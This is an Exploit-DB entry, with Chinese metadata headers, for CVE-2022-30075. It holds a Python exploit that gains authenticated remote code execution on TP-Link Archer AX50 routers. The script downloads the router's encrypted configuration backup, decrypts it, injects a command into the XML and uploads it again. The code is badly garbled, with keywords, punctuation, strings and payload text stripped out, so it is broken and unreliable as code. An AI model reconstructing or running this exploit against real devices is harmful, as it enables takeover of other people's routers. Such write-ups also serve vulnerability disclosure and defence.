标题: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated) EDB-ID: 50962 CVE: 2022-30075 类型: REMOTE 平台: HARDWARE 发布日期: 2022-06-14 漏洞利用脚本: # Exploit Title: TP-Link Router AX50 firmware 210730 - Remote Code Execution (RCE) (Authenticated)
# Exploit Author: Tomas Melicher
# Technical Details: https://github.com/aaronsvk/CVE-2022-30075
# Date: 2022-06-08
# Vendor Homepage: https://www.tp-link.com/
# Tested On: Tp-Link Archer AX50
# Vulnerability Description: Remote Code Execution via importing malicious config file
# CVE: CVE-2022-30075

#!/usr/bin/python3

import argparse # pip install argparse
import requests # pip install requests
 binascii base64 os re json sys time math random hashlib
 tarfile zlib
 CryptoCipher  AES PKCS1_v1_5 PKCS1_OAEP 
 CryptoPublicKey  RSA
 CryptoUtilPadding  pad unpad
 CryptoRandom  get_random_bytes
 urllibparse  urlencode

 

  self target password
  selftarget  target
  selfpassword  passwordencode
  selfpassword_hash  hashlibmd5passwordencodehexdigestencode
  selfaes_key  timetime  randomrandomreplaceAESblock_sizeencode
  selfaes_iv  timetime  randomrandomreplaceAESblock_sizeencode

  selfstok  
  selfsession  requestsSession

  data  selfbasic_request 
   data  
   
   
  selfsign_rsa_n  data 
  selfsign_rsa_e  data 
  selfseq  data

  data  selfbasic_request 
  selfpassword_rsa_n  data 
  selfpassword_rsa_e  data 

  selfstok  selflogin


  self aes_key aes_iv aes_block_size plaintext
  cipher  AESnewaes_key AESMODE_CBC ivaes_iv
  plaintext_padded  padplaintext aes_block_size
   cipherencryptplaintext_padded


  self aes_key aes_iv aes_block_size ciphertext
  cipher  AESnewaes_key AESMODE_CBC ivaes_iv
  plaintext_padded  cipherdecryptciphertext
  plaintext  unpadplaintext_padded aes_block_size
   plaintext


  self n e plaintext
  public_key  RSAconstructn epublickey
  encryptor  PKCS1_v1_5newpublic_key
  block_size  public_keynbit_length  
  encrypted_text  
   i   plaintext block_size
   encrypted_text  encryptorencryptplaintextiiblock_size
   encrypted_text


  self url post_data
  res  selfsessionpostselftargetselfstokurl datapost_data stream
  filepath  osgetcwdrefindallr resheaders
   ospathexistsfilepath
     filepath
   
   filepath   f
    chunk  resiter_contentchunk_size
    fwritechunk
   filepath


  self url post_data files_data
  res  selfsessionpostselftargetselfstokurl datapost_data filesfiles_data
   jsonloadsrescontent


  self url post_data
  serialized_data  urlencodepost_data
  encrypted_data  selfaes_encryptselfaes_key selfaes_iv AESblock_size serialized_dataencode
  encrypted_data  base64b64encodeencrypted_data

  signature  encode  selfaes_key selfaes_iv selfpassword_hash selfseqencrypted_data
  encrypted_signature  selfrsa_encryptselfsign_rsa_n selfsign_rsa_e signature

  res  selfsessionpostselftargetselfstokurl dataencrypted_signature encrypted_data 
  resstatus_code  
   url
   
  encrypted_data  jsonloadsrescontent
  encrypted_data  base64b64decodeencrypted_data
  data  selfaes_decryptselfaes_key selfaes_iv AESblock_size encrypted_data
   jsonloadsdata


  self
  post_data   selfrsa_encryptselfpassword_rsa_n selfpassword_rsa_e selfpassword
  data  selfencrypted_request post_data
   data  
   
   
  data
   data



 

  self filepath
  selfencrypted_path  ospathabspathfilepath
  selfdecrypted_path  ospathsplitextfilepath

  selfaes_key  fromhex 
  selfiv  fromhex 


  self aes_key aes_iv aes_block_size plaintext
  cipher  AESnewaes_key AESMODE_CBC ivaes_iv
  plaintext_padded  padplaintext aes_block_size
   cipherencryptplaintext_padded


  self aes_key aes_iv aes_block_size ciphertext
  cipher  AESnewaes_key AESMODE_CBC ivaes_iv
  plaintext_padded  cipherdecryptciphertext
  plaintext  unpadplaintext_padded aes_block_size
   plaintext


  self
    ospathisdirselfdecrypted_path
   selfdecrypted_path
   

  
   tarfileselfdecrypted_path   tar
    filename  oslistdirselfdecrypted_path
    basenameext  ospathsplitextfilename
     ext  
     xml_path  selfdecrypted_pathfilename
     bin_path  selfdecrypted_pathbasename
      xml_path   f
      plaintext  fread
      plaintext  
      f  bin_path 
      fclose
     
      compressed  zlibcompressplaintext
      encrypted  selfaes_encryptselfaes_key selfiv AESblock_size compressed
       bin_path   f
       fwriteencrypted
     taraddbin_path ospathbasenamebin_path
     osunlinkbin_path
  
   selfdecrypted_path   f1 selfdecrypted_path   f2
   compressed  zlibcompressf1readf2read
  encrypted  selfaes_encryptselfaes_key selfiv AESblock_size compressed
  
   selfencrypted_path   f
   fwriteencrypted
  osunlinkselfdecrypted_path


  self
    ospathisfileselfencrypted_path
   selfencrypted_path
   

  
   selfencrypted_path   f
   decrypted  selfaes_decryptselfaes_key selfiv AESblock_size fread
  decompressed  zlibdecompressdecrypted
  osmkdirselfdecrypted_path
  
   selfdecrypted_path   f
   fwritedecompressed
   selfdecrypted_path   f
   fwritedecompressed
  
   tarfileselfdecrypted_path   tar
   tarextractallpathselfdecrypted_path
  
   filename  oslistdirselfdecrypted_path
   basenameext  ospathsplitextfilename
    ext  
    bin_path  selfdecrypted_pathfilename
    xml_path  selfdecrypted_pathbasename
     bin_path   f
     ciphertext  fread
    osunlinkbin_path
     ciphertext  
     f  xml_path 
     fclose
     
    decrypted  selfaes_decryptselfaes_key selfiv AESblock_size ciphertext
    decompressed  zlibdecompressdecrypted
     xml_path   f
     fwritedecompressed
  osunlinkselfdecrypted_path


  self command
  xml_path  selfdecrypted_path
    ospathisfilexml_path
   xml_path
   

   xml_path   f
   xml_content  fread

  
  payload  
  payload  
  payload  
  payload  
  payload  
  payload  
  payload  
  payload    commandreplacereplace
  payload   
  payload  
  payload  
  payload  
  payload  
  payload  
  payload  
  payload  
  payload  

     xml_content
   xml_content  resubr payload xml_content 
  
   xml_content  xml_contentreplace payload 
   xml_path   f
   fwritexml_content



arg_parser  argparseArgumentParser
arg_parseradd_argument metavar  required
arg_parseradd_argument metavar required
arg_parseradd_argument action 
arg_parseradd_argument metavar 
arg_parseradd_argument metavar default 
args  arg_parserparse_args

client  WebClientargst argsp
parser  

  argsr
 
 filepath  clientdownload_request 
   filepath
  sysexit

 filepath
 parser  BackupParserfilepath
 parserdecrypt_config
 parserdecrypted_path

  argsb   argsr
 filepath  parserdecrypted_path
 osrenameparserdecrypted_path filepath
 parserdecrypted_path  ospathabspathfilepath
 parserencrypted_path  filepath
 parsermodify_configargsc
 parserdecrypted_path

  argsb
  parser  
  parser  BackupParserargsrrstrip
 parserdecrypted_path
 parserencrypt_config
 data  clientbasic_request 
 timeout  data  data  
 parserencrypted_path
 data  clientbasic_request  parserencrypted_path
   data
  
  data
  sysexit

 
 argst URL: https://www.exploit-db.com/exploits/50962